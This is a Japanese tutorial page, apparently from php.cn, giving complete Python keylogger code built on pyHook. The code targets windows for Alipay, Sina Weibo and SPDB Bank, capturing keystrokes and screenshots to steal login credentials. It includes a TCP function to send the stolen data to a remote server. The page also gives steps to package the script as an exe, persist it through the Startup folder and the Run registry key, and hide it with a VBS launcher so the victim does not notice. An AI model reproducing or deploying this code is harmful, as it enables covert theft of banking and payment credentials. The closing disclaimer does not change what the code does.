ホームページ  >  記事  >  バックエンド開発  >  Python は pyHook を使用してユーザーのマウスとキーボードのイベントを監視します

Python は pyHook を使用してユーザーのマウスとキーボードのイベントを監視します

WBOY
WBOYオリジナル
2016-06-16 08:42:392264ブラウズ

この記事では、簡単なプログラムを使用してマウスとキーボードのイベントを監視し、ユーザー入力 (特定の Web サイトにログインするためのアカウント番号やパスワードなど) を取得する機能を実現します。テスト後、「ストリーキング」コンピュータはユーザーが入力したあらゆる情報を完全に取得できますが、ウイルス対策ソフトウェアがインストールされていれば十分です。具体的な実装方法は以下の通りです。

1. コード部分 : ユーザー入力情報を取得し、スクリーンショットとともに XX ディレクトリに保存します

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages() 

2. py2exe を使用してスクリプトをパッケージ化します:

次の内容を含む新しい py ファイル setup.py を作成します:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

コマンドラインで次のコマンドを実行します:

pythonsetup.pypy2exe

3. 起動時にプログラムが自動的に起動するように設定します:

ステップ①:

起動時に起動する必要があるファイル (ショートカットを作成してから) を「スタート/すべてのプログラム/スタートアップ」ディレクトリに配置します

ステップ②:

レジストリを変更します: コマンド ライン - regedit で、次のパスに移動します:
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]

新しい「文字列値」を作成して編集します: exe ファイルへのパスを設定します
D:workspacemytestpyhookdistmonitor.exe

(上記2つの方法でmonitor.exeを起動すると、コマンドボックスがポップアップして監視ログ情報が表示されます。この場合、監視対象者はすぐに知ることができます。以下の方法をお試しください。 )

ステップ③:

次の内容を含む新しい .vbs ファイルを作成します:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

ダブルクリックして vbs ファイルを実行すると、monitor.exe がバックグラウンドで起動します (大きな黒いボックスは表示されません)。
次に、①と②の方法を参考に、起動時にvbsが起動するように設定してください。

補足:

1. このプログラムには、自分でインストールする必要があるモジュールが含まれています。 2. 記事内の「D:workspace....」などのパスは、独自の実際のパスに変更する必要があります。
3. このコードは単なるテスト例です。読者は違法な目的で使用しないでください。

興味のある読者は、この記事の例を改良して、より機能的なものにすることができます。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。